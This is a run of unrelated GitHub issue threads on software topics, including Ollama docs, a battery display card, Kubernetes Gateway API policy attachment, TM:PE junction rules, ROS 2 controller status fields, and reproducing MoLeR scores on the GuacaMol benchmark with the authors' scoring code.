Documentation on how ollama works [Documentation]

Thank you for the tool!
I'd like learn more about how ollama work such as where can i get more information about how manifest, ollama model works and what does it mean to create our own model using similar way like creating docker image?
This information would be useful!

The docs might help you:
https://github.com/jmorganca/ollama/tree/main/docs


Reduce the decimal places on the kwh displays

Looks to be a useful additional custom card, thank you.  Easy to setup although I didn't need to add it as a custom repository.
Could you add the ability to reduce the decimal places on the kWh display please (or change the default).  Knowing its capacity and fullness is 9.5kWh is enough precision for me !

Further thought, rather than a hard kW or W display, make it intelligent (like the GivEnergy app) so it shows for example discharging at 269W or charging at 2.4kW

Sorry another thought, the batteries are currently charging at 2.4kW.  I've got a "time at 100%" that tells me when they will be fully charged all good.
But I don't understand why the "time left" is counting down.  The battery is charging so the time left should be increasing not decreasing, and how would the time left be calculated anyway when there isn't a discharge rate at the moment.
Maybe keep it constant and refresh say every x seconds reflecting the increasing soc ?

Thanks for the feedback, much appreciated!
Regarding the intelligent unit display & decimal places - both are in the pipeline, and I'll hopefully have some time soon to implement.
Regarding the countdown timer - it's contextual, so if the battery is charging it's counting down the time until full. If it's discharging, it's counting down the time until it reaches the reserve %

Thanks Paul. Obviously I didn't understand the countdown timer!
Look forward to seeing the next version.  This just popped up on my hacs dashboard.
Cheers Geoffrey
On 1 Nov 2023 at 11:03 +0000, Paul Hodgson @.***>, wrote:

Thanks for the feedback, much appreciated!
Regarding the intelligent unit display & decimal places - both are in the pipeline, and I'll hopefully have some time soon to implement.
Regarding the countdown timer - it's contextual, so if the battery is charging it's counting down the time until full. If it's discharging, it's counting down the time until it reaches the reserve %
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you authored the thread.Message ID: @.***>

Thanks Paul for the new features in the card, they work perfectly, just what I wanted


Describe how policies should attach to a Pod

Currently, we can attach policies to API resources. Unfortunately, its hard to talk about a workload.
This is a continuation of https://kubernetes.slack.com/archives/CR0H13KGA/p1676648817307159 copied into an issue.
There are a few options:

Attach to Pod

This is terrible, as pods are ephemeral, randomly named, and large in number. But this is the closest to what we want conceptually

Attach to Deployment

This is pretty reasonable. Usually, users do not need more granular application than Deployment, and if they do they can always split their Deployment. However, this is not ideal since pods can be created by a number of things - DaemonSet, KnativeService, etc, making this limited.
An implementation could have logic for all of the first party higher-level types, but there are an endless number of third-party types that are impossible to handle like this.

Attach to ServiceAccount

All pods have a service account, and service account avoids the problem of "ephemeral, random, and large in number".
This actually may make sense for some policies. For example, authorization policies probably actually make sense bound to a service account, as both are in the security domain. A TimeoutPolicy bound to a ServiceAccount would probably be awkward though.

Seems attaching to service is more reasonable. In k8s service is a group of endpoints which serve the same functionality.
I have to admit sometimes we need to attach policy to a subset of service's endpoints, to satisfy this we can need to add subset selector.

server-side policies like Authorization Policy are generally inappropriate, IMO, to attach to a Service. For example, what if I have Service A and B selecting the same pod. I apply the rule to Service A. It will now impact Service B as well. Or I have a workload that isn't expose as a Service, or a port I want to apply policy to that isn't part of the Service, etc. Istio used to do this and replaced with workload based selectors for this reason.

I admit there is such a case, but not common for most people. There could be a compromise, the requisite is to have an associated service, which is acceptable for end user.
About defining multi services for same pod, if they share same port,  for L7 we can distinguish by hostname they can be different, but for L4 we can not distinguish. This can not be resolved by attaching a rule to pod either

I tried to find the original discussion about this in Istio:
https://github.com/istio/istio/issues/8990 was the best I could find.
AFAIK all other service meshes have come to the same conclusion as well, so
I would be very very cautious about applying workload policies to Services.
On Wed, Mar 15, 2023, 7:00 PM Zhonghu Xu @.***> wrote:

I admit there is such a case, but not common for most people. There could
be a compromise, the requisite is to have an associated service, which is
acceptable for end user.
About defining multi services for same pod, if they share same port, for
L7 we can distinguish by hostname they can be different, but for L4 we can
not distinguish. This can not be resolved by attaching a rule to pod either
—
Reply to this email directly, view it on GitHub
https://github.com/kubernetes-sigs/gateway-api/issues/1812#issuecomment-1471163661,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAEYGXJNKDNZRLNAJIZINALW4JX3LANCNFSM6AAAAAAVZVSOYY
.
You are receiving this because you authored the thread.Message ID:
@.***>

In #1565, I've tried to make it clearer that it's fine and expected that implementations can use hierarchies that aren't the GatewayClass -> Gateway -> Route -> Backend one.
For workloads, I think that it's fine to use a Deployment, or even to have the same Policy object affect all Deployments in a Namespace.
I agree that using a Service to select Pods is a mistake - a Service is really selecting Endpoints (or EndpointSlices) anyway (although they're derived from the Pods via the pod selector, so this part is confusing, like many things about Service).

https://github.com/istio/istio/issues/8990#issuecomment-425315180

IMO, it makes sense to be workload-centric for things that affect inbound configs. However, for outbound, service (or host) could be acceptable.

I think this is very impartial

It seems the specifics and clarification being requested here are reasonable, though it seems several questions remain. We can accept this with the contingency that whoever takes it on needs to tease out the conversation before we actually aim for any deliverables:
/triage accepted
That said this doesn't appear to be something we need to work on for GA (correct me if you think I'm wrong), so we don't expect this to have any priority prior to that:
/priority backlog


datagridview default error dialog

seems to be problem every time doing a strategy check on coin profitability
this started after this update today

when people answer these things -- remember there is people in this world not a programmer so going and building and changing programming data be way beyond us
can change a e mail account setting but not go in and reprogram windows thing so lets stay away from the programming
the official forum site is full of things useless to people like me since have no programming experience and not been to college for this so total waste of time for us non programmer people

@jamie2678 I don't know what to tell you, crypto mining is not for the non-technical.

so then the industry seems to be trying to lock out all except the desired class of people
one time computers was for the programmers only and now we got things like windows where people not need to get college degrees in programming just to use it


Has this library been abandoned?

Has this library been abandoned?

Our hardware specialist who is working with our bluetooth device directly looked at some libraries and found one which was recently updated: react-native-ble-manager (May 17th update). So he started to implement some example code on top of that. But I want to look around and maybe to find something else. We have no favorites here. Just want to use something what is not abandoned and at least works with our device.

Hi ✋ sorry for not replying sooner.
No, this library was not abandoned.
The owner of the library has changed, and it took some time for this to happen, so it may have looked like the library was abandoned, but it wasn't 😉
The doitnent team is dedicated to resolving existing issues and developing the library.
Once again, we apologize and hope that you will continue to use the library 🚀

Hi @mciechanowicz looks like not much is happening here. Can you confirm that the dotintent team is dedicated to resolving existing issues and further developing the library as you said above?

No updates since Nov 2021, so looks like the library was never picked up by the new ownership? Unless I'm missing something


[WIP] Automate test to migrate to external OCP cluster

@ibragins , I'll fix all the variables that are not in Camel style. This is just a WIP PR.


Priority signs should affect 'Enter blocked junction'?

When setting priority signs, it would be nice if they could affect the "Enter blocked junction" setting either automatically (via mod option) or with keybind modifier.

Priority segment = allow enter blocked junction
Yield / Stop segment = deny enter blocked junction

Brain: Why even have 'enter blocked junction' when we have priority signs?
Also brain: No idea.
Also brain: Why not merge priority signs in to junction restrictions, and ditch the 'enter blocked junction' thing?

Isn't "(don't)enter blocked junctions" a more CPU lightweight option than TMPE priority signs since it's something that is in the vanilla game?
At least that's the exact reason why I preffer to just use this setting instead of priority Signs in my roundabouts lol.

In a 4 way junction with priority signs people on the major road should not want to enter blocked junctions for people on the minor road to be able to go into directions that is not blocked.
ideally  software can automatically understand if we should enable entering blocked junctions according to common situations, though I suspect its going to be really hard considering people have all sort of custom junctions.

I agree with kianzarrin.
I use priority signs and "can enter in blocked junctions" differently depending on multiple factors, including what rafamariofan and kianzarrin said together. Please don't take that away.
As for the feature that is suggested here... Yes please! I like such default.

Isn't "(don't)enter blocked junctions" a more CPU lightweight option than TMPE priority signs since it's something that is in the vanilla game?

The feature in vanilla is the "Stop" sign (traffic routes > junctions info view) - and we already have that covered in TM:PE priority signs. So the "don't enter blocked junctions", as far as I know, isn't even part of vanilla.
Vanilla essentially has two signs: Yield (default) and Stop. The priority routes feature in vanilla, as far as I can tell, has two purposes:

It automatically adds stop signs for side roads at junctions (which is often very annoying)
It tells snow ploughs which roads to prioritise for snow clearing (I've still never played a Snow biome map so not sure if that's correct)

In a 4 way junction with priority signs people on the major road should not want to enter blocked junctions for people on the minor road to be able to go into directions that is not blocked.

Isn't that what TM:PE priority signs are for? The Priority/Yield/Stop sign (default: Yield) for each segment at the junction controls how traffic should enter the junction (however, see additional note below).

ideally software can automatically understand if we should enable entering blocked junctions according to common situations, though I suspect its going to be really hard considering people have all sort of custom junctions.

Any lane that would cross oncoming traffic (eg. left or right turn depending on what side of road cars drive on) should always yield to avoid collisions. That's a "road rule" that applies everywhere: Don't crash in to other cars. So that should be baked in to the priority sign logic - it shouldn't require is to fiddle with "enter blocked junction" stuff.
For complex junctions we could use conflict point detection (see #4 for details) to determine which lanes must yield at the junction.

If I have a 3 lane road with L/S/R directions on each lane, going to a 4-way intersection. Only the turning left has to wait because too much traffic, the others could cross right away... Keeping this one can lead all lanes to be blocked because the traffic in the main road is just there waiting on the way and the other cars are blocking the whole block.

See my comments above. The yielding when crossing oncoming traffic should be baked in to priority sign logic. We shouldn't have to fudge it with "allow enter blocked junction" stuff.
Also, I think the whole implementation of "allow enter blocked junction" is wrong in TM:PE. It shouldn't be defined segment by segment (we have Priority/Yield/Stop signs for that), it should be defined in the junction node. I can't speak for other countries, but in UK we have this:

So on a normal junction, everything is handled by priority rules. But some super-busy junctions, which can lead to gridlock if they get blocked, have that extra "keep this junction clear" rule (the yellow hash pattern on the road).
I think all too often users are using "enter blocked junction" feature as a weird alternate to priority/yield/stop signs. For good traffic flow, generally speaking, vehicles should be able to enter junctions if they are clear (ie. default of Yield for all roads entering a junction, unless user defines otherwise).
There are some cases where you want to keep junctions clear of stagnant traffic, most notably level crossings (or busy junctions like the image above). But in those cases the "enter blocked junction" setting applies to the junction itself, not the roads entering the junction.
My suggestion is therefore:

Improve the Priority/Yield/Stop signs to be 'conflict point'-aware, and yield intelligently for lanes that would cross other traffic
Retire existing "enter blocked junction"
Add new "Keep junction clear" feature, which applies to the node, in the Priority Signs (or junction restrictions?) UI.
Level crossings would automatically get "keep junction clear" (for freaking obvious reasons), and maybe junctions with tram routes too? User could still override on junction by junction basis.

If even more control is required, traffic lights should be used to fully control traffic across the junction.

Some other thoughts:

Box junctions (image above) are just a hacky way of dealing with symptoms which manifest in the road network due to problems elsewhere

It's generally best idea to find the root problem, and deal with that at source (which in many cases could simply be providing better public transport)
Sometimes fixing the root problem would be too much grief (eg. requiring buildings to be destroyed or excessive road works), so it's easier to apply the "keep junction clear" hack

There is sometimes benefit to allowing vehicles to enter blocked level crossing, in cases where it's close to train station and there are multiple tracks to cross (see also: #11)

Maybe an enum at the node could define traffic behaviour through the node:

NormalJunction

"Try not to crash"

WaitInJunction

for larger junctions, traffic can partially enter and wait in junction
see #46 (particularly the youtube video in OP of that issue)
if an entering road has bike lanes, it would behave like fourth pic in #14

BoxJunction

traffic cannot enter until previous traffic cleared
replaces segment-based 'enter blocked junction' with node-based 'box junction'

MiniRoundabout

instead of traffic driving in arc towards exit lane, it goes in cicular motion as if the node is a roundabout - see #73

LaneRestriction

traffic calming measure (small roads only) - first pic in #14

Crossing

Similar to Crossings mod but maybe with some refinements? - second pic in #14

SpeedBump

Node acts like a speed bump (small roads only), nerfing traffic speed on adjacent segments - see #68

Priority signs then define who has right of way when entering junction. Traffic Lights override priority signs, but could be affected by them (eg. priority route gets more green time or more beneficial flow ratios etc).

It is true that users get confused by enter blocked junction. I know I did. But this problem is soon diminished when we allow users to setup intent. Intent can be used for generic stuff and for more advanced users who like flexibility they can micro manage a bit more for all the crazy junctions they have.
@aubergine10 I think this is a bad idea to take that flexibility away. We should let the user decide to enter blocked junctions or not on a segment end by segment end basis. TMPE users like flexibility. To automatically decide to enter blocked junctions or not can be complicated. If we are going to take that flexibility away from the user  then: Either do it perfect or don't do it at all.
I am worried that this is going to be a repeat of the highway rules mistake that people don't use because they don't like extra restrictions.
I also think that the code for enter blocked junction can improve. for example consider a big highway roundabout. once I disable enter blocked junctions, cars entering the roundabout wait for the junction to be clear before entering. This happens even if traffic is flowing fast. I think if traffic is flowing fast there is no need for cars entering the roundabout to wait a little bit longer. For this reason in my highway roundabouts, I generally set enter blocked junction for yielding cars entering the roundabout. The traffic just flows faster that way. for my urban roundabouts yielding cars cannot enter blocked junctions.
So we need to solve some problems including the one I mentioned above to abolish enter blocked junctions and I think we are no where near ready. Also I think its not worth the time specially considering that the intent feature is coming.

Also, I think the whole implementation of "allow enter blocked junction" is wrong in TM:PE. It shouldn't be defined segment by segment (we have Priority/Yield/Stop signs for that), it should be defined in the junction node. I can't speak for other countries, but in UK we have this: [box junction]

@aubergine10  this is in contradiction to another thing you said:

Any lane that would cross oncoming traffic (eg. left or right turn depending on what side of road cars drive on) should always yield to avoid collisions. That's a "road rule" that applies everywhere: Don't crash in to other cars. So that should be baked in to the priority sign logic - it shouldn't require is to fiddle with "enter blocked junction" stuff.

So first you say enter blocked junction belongs to node where it can be modified manually. Then you say it belongs to segment end but should be automatic.
can think of situations where some cars can enter blocked junction and some cars cannot. for example T junctions:

Again making it automatic is a do it perfect or don't do it at all thing.

In the image above, it shows another issue we have - the priority signs should factor in 'does this lane cross traffic'. A similar connundrum is discussed in #565.

For anyone following this issue #424 please go take a look at the awesome stuff being worked on in #1229 (specifically the videos near bottom of that issue) - very significant improvements to both normal junctions, and also those with priority signs.
Example of normal junction with turning lane - no priority signs, etc., just junction with lane-arrow based turning lane:
https://user-images.githubusercontent.com/19638970/152700929-041caea3-6e15-493c-9af9-067901eff3e8.mp4

@aubergine10 What's that mod for traffic scenario? It would be great for my junction testing as I'm experimenting with different junctions

It's my internal mod for testing. I plan to release it as a debug tool but for now... it's just never-ending sandbox where I throw my prototypes and ideas.

@krzychu124 Thanks for sharing that. When you are comfortable enough, I'll make time to test it and also to test my own stuff.


Changes to File.f and File.pf

We've incurred some regressions, and some functionality has also changed. Therefore, we wish to set the functionality of File.f and File.pf to the following:

Anytime self.f property is accessed, it checks if file is opened and, if not, loads the file (which includes loading metadata, etc.)
Anytime self.pf property is accessed, [same as above]

After changes, please test that the following still works:

Loading viewer with an un-downsampled file results in the file being
Using the -ds flag to downsample a file works properly

One caveat:

During a downsampling job, it first loads the file. This would result in also loading the processed file (e.g. when Series loads DownsampleSet which in turn retrieves number of downsamples available). This needs to be suppressed, e.g. with a flag of some sort, in order to work properly.

Completed, per Vedant.


Aggregate data in ECM and use system to publish to ROS 2

As an alternative to publishing all values as doubles and bridging each to a ROS topic, the approach here would be to put the values in a custom component, and then have a single system that's ROS-enabled and publishes a message with all of them.

@hamilton8415 to assist with any of these; I can make the first Controller as an example for the others. @rhenthorn
let me know if this looks good to you.
@chapulina should we open a separate issue for commands these controllers would need to handle?
We can break these into separate PR's that make sense
Todo:

[ ] @andermi Add SCRecord data to ECM from PneumaticSpring
[ ] @rhenthorn Add PCRecord, BCRecord data to ECM from ElectroHydraulicPTO
[ ] @rhenthorn Add TFRecord data to ECM
[ ] @andermi Add XBRecord data to ECM
[ ] @andermi Publish SCRecord data from ECM in SpringController ROS2 System Plugin
[ ] @rhenthorn Publish PCRecord data from ECM in PowerController ROS2 System Plugin
[ ] @rhenthorn Publish BCRecord data from ECM in BatteryController ROS2 System Plugin
[ ] @rhenthorn Publish TFRecord data from ECM in TrefoilController ROS2 System Plugin
[ ] @andermi Publish XBRecord data from ECM in CrossbowController ROS2 System Plugin

@hamilton8415 @rhenthorn Can you provide a description of the status fields for the __Records? (or point me to the docs for them)

My understanding is you're asking for the bit-field descriptions in the status words from the various converters.  It's a closely held secret!!  ;)
Kidding of course, a good start is from the source code for each controller, copied in here and generally in "types.h" in each of the controller firmwares on bitbucket:
SC_
struct StatusBits {
unsigned int ReliefValveRequest : 7;  //Request to open/close valve
unsigned int ReliefValveStatus : 1;      // Status of Relief valve open/close
unsigned int PumpRequest : 1;   // Request to turn pump on or off
unsigned int PumpStatus : 1;  // Status of pump switch
unsigned int PumpOverTemp : 1;  // Status of pump OverTemp signal
unsigned int PumpToggle : 1;  // Status of pump Toggle.
unsigned int TetherPowerRequest : 1;  //Request to turn tether power on or off
unsigned int TetherPowerStatus : 1;  //Status of tether power relay
unsigned int LR_Fault : 1;  //Status of LRF fault input
unsigned int AUX_Fault : 1;  //Status of AUX fault input
};
typedef  union
{
unsigned int status;
struct StatusBits bits;
}  STATUS;
PC_
struct PowerConverterStatusBits {
unsigned int Mode : 2;  //controller mode.  specified by defines in config.h (GENERATOR_MODE, TORQUE_MODE)
unsigned int TorqueCmdLimited : 1;  //defines what is limited the Torque Command (0 = Not limited, 1 = Rate, 2 = Min, 3 = Max).
unsigned int BattSwitchRequest : 1;  //Indicates state of battery switch that the user desires. 0 = off, 1 = on
unsigned int BattSwitchSetting : 1;  //Indicates instantaneous setting of Battery Switch
unsigned int SlowSwitchSetting : 1;  //Indicates instantaneous setting of Bettery Slow Switch
unsigned int EXT_Voltage_Detect : 1; //Indicates if >170V is available on outside connector
unsigned int GainScheduleMode : 1;      // 0 = off.  1 = on.
unsigned int OverCurrentShutdown : 1;   //1 indicates drive is in overcurrent shutdown.
unsigned int OverVoltageShutdown : 1;   //1 indicates drive is in overvoltage shutdown.
unsigned int SpringRangeValid : 1;  //1 indicates the current SC_Range value is valid (received within approximately SC_RANGE_VALID_TIMEOUT milliseconds)
unsigned int PermissiveMode : 1;   //1 indicates user has selected "permissive mode" which allows WindingCurrent commands to be set even if SpringController Range packets aren't arriving
};
BC_
struct StatusBits {
unsigned int Balancing : 5;   // Indicates number of batteries that are shunting power
unsigned int StopCharge : 5;  // Indicates number of batteries requesting stop-charge
unsigned int PowerSupply : 1;  //Indicates state of 24V load switch. 0 = off, 1 = on
unsigned int Bender : 2;      // Indicates state of Bender operation.  0 = off, 1 = on, 2 = auto (cycling)
unsigned int BenderRequest : 2;   //Indicates the Bender State request, changed only by CAN rcvd interrupt except for initialization.
unsigned int BenderSwitchStatus : 1;  //Indicates a fault with the bender power switch
};
TC_
enum STATES{ST_MAXON_POWERED_DOWN,
ST_MAXON_POWERED_UP_AND_DISABLED,
ST_MAXON_ENABLED,
ST_MOVING_HOME_TOWARDS_CURRENT_POSITION,
ST_VELOCITY_MOVE_TOWARDS_TARGET_POSITION,
ST_MOVING_HOME_TOWARDS_TARGET_POSITION,
ST_PERFORMING_BACKUP_MOVE,
ST_DOORS_SUCCESSFULY_MOVED
};  //Bit mapping for "State" in StatusBits structure.
struct StatusBits {
unsigned int ChargeMode : 2;  // Offset = 0
unsigned int ChargeEnabled : 1;  // Offset = 2
unsigned int MaxonPwrMode : 2;  // Offset = 3
unsigned int MaxonPower : 1;  // Offset = 5
unsigned int MaxonEnabled : 1;  // Offset = 6
unsigned int DoorPositionTarget : 1;  // Offset = 7
unsigned int DoorPositionActual : 1;  // Offset = 8
unsigned int State : 4;  // Offset = 9
unsigned int Maxon_CommError : 2;  // Offset = 13
};


Script for recreating evaluation scores on Guacamol benchmark

Hi,
Could I check if the script for recreating the evaluation scores as reported in the paper on the Guacamol benchmark is available in this code base? Thanks.

Hi @HiokHian, we didn't release the scripts for running the Guacamol benchmarks, these stayed in our internal copy of the repo. However, I'm happy to provide any details needed to reproduce the results. Are you more interested in the distribution matching benchmarks (FCD, etc) or the optimization ones?

I see. Would it be possible to provide details on reproducing the results for both the distribution matching and optimization ones? Thank you for your help on this!

Reproducing the distribution matching results should be fairly easy: we load the model as normal through load_model_from_directory and call assess_distribution_learning from guacamol.assess_distribution_learning. The only caveat here is that the model passed into assess_distribution_learning needs to implement their DistributionMatchingGenerator interface; for that we make a very simple wrapper around.
For the optimization results we call assess_specific_goal_directed_generation, and similarly wrap things into interfaces expected by Guacamol. However, we need to pair MoLeR with an optimization method; as described in the paper, we use MSO. We didn't release our own fork of MSO, but it's nearly identical to the open-source one, we mostly just modified the latent space clipping which helped a bit (see Appendix C.3 in the paper). To initialize MSO swarms, we use the top scoring molecules (under the particular scoring function we are optimizing for) from the Guacamol dataset.

I see. Thanks again for the detailed pointers, they are very helpful. I'll close this thread for now and post new clarifications should they arise.

Hi, is it possible to share the objective for the goal directed generation. For example, how exactly the score was calculated for the different objectives.
Specifically the last one (factor xa) and what "maintaining the properties" refers to?

Would it be possible to share the scripts for the goal directed benchmarks directly?

Can you provide the details of how you coupled MSO to MoLeR when specializing the GoalDirectedGenerator class from GuacaMol?

Hi, is it possible to share the objective for the goal directed generation. For example, how exactly the score was calculated for the different objectives. Specifically the last one (factor xa) and what "maintaining the properties" refers to?

I assume you're mostly asking about our scaffold-based tasks, as the other ones are defined in Guacamol. Here are the building blocks for defining our tasks:
from guacamol.common_scoring_functions import (
    TanimotoScoringFunction,
    RdkitScoringFunction,
    SMARTSScoringFunction,
)
from guacamol.goal_directed_benchmark import GoalDirectedBenchmark
from guacamol.goal_directed_score_contributions import uniform_specification
from guacamol.score_modifier import ClippedScoreModifier
from guacamol.scoring_function import GeometricMeanScoringFunction

def hard_scaffold_similarity(
    smiles: str, name: str, scaffold: str, fp_type: str = "ECFP4", threshold: float = 0.7
) -> GoalDirectedBenchmark:
    """Build a benchmark that asks to maximize similarity under a hard scaffold constraint.

    Args:
        smiles: Target to maximize similarity to.
        name: Name of the benchmark.
        scaffold: Scaffold that a sample must contain to get a non-zero score.
        fp_type: Which fingerprint similarity metric to use.
        threshold: Similarity threshold above which the sample is given a perfect score.
    """

    modifier = ClippedScoreModifier(upper_x=threshold)
    tanimoto_fn = TanimotoScoringFunction(target=smiles, fp_type=fp_type, score_modifier=modifier)

    smarts_fn = SMARTSScoringFunction(scaffold, inverse=False, is_smiles=True)

    scoring_function = GeometricMeanScoringFunction([tanimoto_fn, smarts_fn])
    specification = uniform_specification(1, 10, 100)

    return GoalDirectedBenchmark(
        name=name,
        objective=scoring_function,
        contribution_specification=specification,
        scaffold_smiles=scaffold,
        drop_molecules_without_scaffold=True,
    )

def scaffold_similarity_properties(
    scaffold: str,
    first_molecule: str,
    other_molecule: str,
    fp_type: str = "ECFP4",
    threshold: float = 0.7,
) -> ScoringFunction:
    """Build a scorer asking to stay close to two molecules under a hard scaffold constraint.

    Args:
        scaffold: Scaffold that a sample must contain to get a non-zero score.
        first_molecule: Target to maximize fingerprint similarity to.
        other_molecule: Target to maximize property similarity to.
        fp_type: Which fingerprint similarity metric to use.
        threshold: Similarity threshold above which the similarity part of the scoring function will
            return 1.0 (perfect score).
    """
    smarts_scoring_function = SMARTSScoringFunction(target=scaffold, is_smiles=True)
    other_mol = Chem.MolFromSmiles(other_molecule)
    target_logp = logP(other_mol)
    target_tpsa = tpsa(other_mol)
    target_bertz = bertz(other_mol)

    modifier = ClippedScoreModifier(upper_x=threshold)
    tanimoto_fn = TanimotoScoringFunction(
        target=first_molecule, fp_type=fp_type, score_modifier=modifier
    )

    lp = RdkitScoringFunction(
        descriptor=logP, score_modifier=MinGaussianModifier(mu=target_logp, sigma=0.3)
    )
    tp = RdkitScoringFunction(
        descriptor=tpsa, score_modifier=MaxGaussianModifier(mu=target_tpsa, sigma=5)
    )
    bz = RdkitScoringFunction(
        descriptor=bertz, score_modifier=MinGaussianModifier(mu=target_bertz, sigma=30)
    )

    return GeometricMeanScoringFunction([smarts_scoring_function, tanimoto_fn, lp, tp, bz])

In the above code we reuse various utilities from Guacamol. However, note that we modified the GoalDirectedBenchmark class by adding scaffold_smiles and drop_molecules_without_scaffold arguments, so that (1) the scaffold can be passed through to the underlying model and (2) we can potentially filter out molecules that don't contain the scaffold as invalid for this task.
Here's how the tasks are defined building on top of the above:
def factor_xa() -> GoalDirectedBenchmark:
    # xarelto with apixaban properties
    scaffold = "CCN(C=O)C1=CC=C(C=C1)N1CCCCC1=O"
    apixaban = "O=C5N(c4ccc(N3C(=O)c1c(c(nn1c2ccc(OC)cc2)C(=O)N)CC3)cc4)CCCC5"
    xarelto = "O=C1COCCN1c2ccc(cc2)N3CC(OC3=O)CNC(=O)c4ccc(s4)Cl"
    specification = uniform_specification(1, 10, 100)
    return GoalDirectedBenchmark(
        name="factor_Xa_like_scaffold",
        objective=scaffold_similarity_properties(
            scaffold=scaffold,
            first_molecule=xarelto,
            other_molecule=apixaban,
            fp_type="AP",
            threshold=0.7,
        ),
        contribution_specification=specification,
        scaffold_smiles=scaffold,
        drop_molecules_without_scaffold=True,
    )

def goal_directed_scaffold_suite_v1() -> List[GoalDirectedBenchmark]:
    return [
        hard_scaffold_similarity(
            smiles="CCCC1=NN(C2=C1N=C(NC2=O)C3=C(C=CC(=C3)S(=O)(=O)N4CCN(CC4)C)OCC)C",
            name="pde5_scaffold",
            scaffold="Cc1ncn2[nH]c(-c3ccc(F)c(S(=O)(=O)N4CCNCC4)c3)nc(=O)c12",
            fp_type="AP",
            threshold=0.75,
        ),
        hard_scaffold_similarity(
            smiles="CC1Oc2c(C)nccc2-c2cc(NC(=O)Cc3nn(C)cc13)ccc2C#N",
            name="lorlati_like_scaffold",
            scaffold="COc1cnccc1-c1cccc(NC(=O)Cc2ccn(C)n2)c1",
            fp_type="PHCO",
            threshold=0.70,
        ),
        hard_scaffold_similarity(
            smiles="CC(C)C#Cc1ccc(-c2ccc(Cl)c3c(NS(C)(=O)=O)nn(CC(F)(F)F)c23)c(C(Cc2cc(F)cc(F)c2)NC(=O)Cn2nc(C(F)(F)F)c3c2C(F)(F)C2CC32)n1",
            name="GCCA1_like_scaffold",
            scaffold="CCc1cnc(-c2ccccc2)c(C(Cc2ccccc2)NC(=O)Cn2nc(CF)c3c2C(C)(F)C2CC32)n1",
            fp_type="PHCO",
            threshold=0.70,
        ),
        factor_xa(),
    ]

Can you provide the details of how you coupled MSO to MoLeR when specializing the GoalDirectedGenerator class from GuacaMol?

Roughly speaking, we adapted parts of the BasePSOptimizer class from MSO, replacing their model with MoLeR, and changing the model calls where necessary (seq_to_emb -> encode, emb_to_seq -> decode). We also pass in extra arguments such as scaffold SMILES, so that for scaffold-based tasks this can be passed into decode. Sorry this is a big vague; as I mentioned the optimization code never got released and so it remained entangled with internal/production things; it is thus difficult to e.g. summarize the "diff" between that code and the open-source MSO. Do you have more specific questions I could help with?

Can you provide the details of how you coupled MSO to MoLeR when specializing the GoalDirectedGenerator class from GuacaMol?

Roughly speaking, we adapted parts of the BasePSOptimizer class from MSO, replacing their model with MoLeR, and changing the model calls where necessary (seq_to_emb -> encode, emb_to_seq -> decode). We also pass in extra arguments such as scaffold SMILES, so that for scaffold-based tasks this can be passed into decode. Sorry this is a big vague; as I mentioned the optimization code never got released and so it remained entangled with internal/production things; it is thus difficult to e.g. summarize the "diff" between that code and the open-source MSO. Do you have more specific questions I could help with?

Thank you so much, this helped a lot! Another quick question: Can you elaborate on how you wrapped the scoring functions from the Guacamol Goal directed benchmark suites into the Scoring Function interface from MSO?

Also, I have another follow up question about using MSO: when loading the VAE model through the context manager inside some of the methods of the class inheriting BasePSOptimizer, I am unable to use the wrapper class functions encode and decode as written. The jobs in the job queue seem to be timing out, and the wrapper class functions aren't returning the expected results. Any reason as why this may be happening? Thanks

When loading the VAE model through the context manager inside some of the methods of the class inheriting BasePSOptimizer, I am unable to use the wrapper class functions encode and decode as written.

Are you sure the context isn't being exited? For example, if you place the context inside of __init__, Python will exit the context once it's done running __init__. This is just a guess though; alternatively, you could paste a code snippet to reproduce your issue and I could take a look.

def _next_step_and_evaluate(self, swarm, model_dir):
        """
        Method that wraps the update of the particles position (next step) and the evaluation of
        the fitness at these new positions.
        :param swarm: The swarm that is updated.
        :return: The swarm that is updated.
        """
        swarm.next_step()
        with load_model_from_directory(model_dir) as inference_model:
            new = tf.cast(swarm.x, tf.float32)
            # import pdb; pdb.set_trace()
            smiles = inference_model.decode(new)
            swarm.smiles = smiles
            # import pdb; pdb.set_trace()
            emb = inference_model.encode(swarm.smiles)
            swarm.x = emb[0]
            swarm = self.update_fitness(swarm)
            return swarm

This is how I rewrote the _next_step_and_evaluate function of the class that inherits from BasePSOptimizer. The problem that I am running into is that the decode request doesn't get processed by the inference server (the request type shows up as None instead of MoLeRRequestType.DECODE. However, when I use the model.encode inside of the from_query method, the smiles string gets encoded and the swarms get initialized. Am I loading the context manager incorrectly?

Can you provide the details of how you coupled MSO to MoLeR when specializing the GoalDirectedGenerator class from GuacaMol?

Roughly speaking, we adapted parts of the BasePSOptimizer class from MSO, replacing their model with MoLeR, and changing the model calls where necessary (seq_to_emb -> encode, emb_to_seq -> decode). We also pass in extra arguments such as scaffold SMILES, so that for scaffold-based tasks this can be passed into decode. Sorry this is a big vague; as I mentioned the optimization code never got released and so it remained entangled with internal/production things; it is thus difficult to e.g. summarize the "diff" between that code and the open-source MSO. Do you have more specific questions I could help with?

Hello @kmarziarz,
When trying to implement MoLeR into MSO, it seems as though MoLeR's decode is prone to generating a fair amount of invalid SMILES which in turn crashes the MoLeRInferenceServer when trying to encode the swarm.smiles. Do you have any idea how this issue should be addressed? Thanks.

MoLeR's decode is prone to generating a fair amount of invalid SMILES which in turn crashes the MoLeRInferenceServer when trying to encode the swarm.smiles. Do you have any idea how this issue should be addressed? Thanks.

In what sense are they invalid? The molecules that come out of MoLeR should always be valid in the can-be-parsed-by-rdkit sense by design.
But generally speaking, if MSO optimization starts encountering weird molecules, then that could be a sign that the latent codes are out-of-distribution, for example due to the lack of clipping.

In what sense are they invalid? The molecules that come out of MoLeR should always be valid in the can-be-parsed-by-rdkit sense by design.

I have encountered SMILES that cannot be converted to MOL (they are returned as None).

But generally speaking, if MSO optimization starts encountering weird molecules, then that could be a sign that the latent codes are out-of-distribution, for example due to the lack of clipping.

That makes more sense than MoLeR just generating invalid SMILES out of nowhere... I will look into the code for ball clipping, and find out if it is working properly. Thanks!

I have encountered SMILES that cannot be converted to MOL (they are returned as None).

Without clipping I would expect the results may start getting progressively crazy; that said, I'm not sure why invalid molecules would be ever produced. If you were able to get me a latent code that produces the None I could take a look.

Do you have any insight regarding chiral molecules with MoLeR?

Not really, although I imagine this may not be very well supported in the codebase. Perhaps it would be possible to ignore chirality when inputting into MoLeR and then fix it up post-hoc in the model outputs?

Not really, although I imagine this may not be very well supported in the codebase. Perhaps it would be possible to ignore chirality when inputting into MoLeR and then fix it up post-hoc in the model outputs?

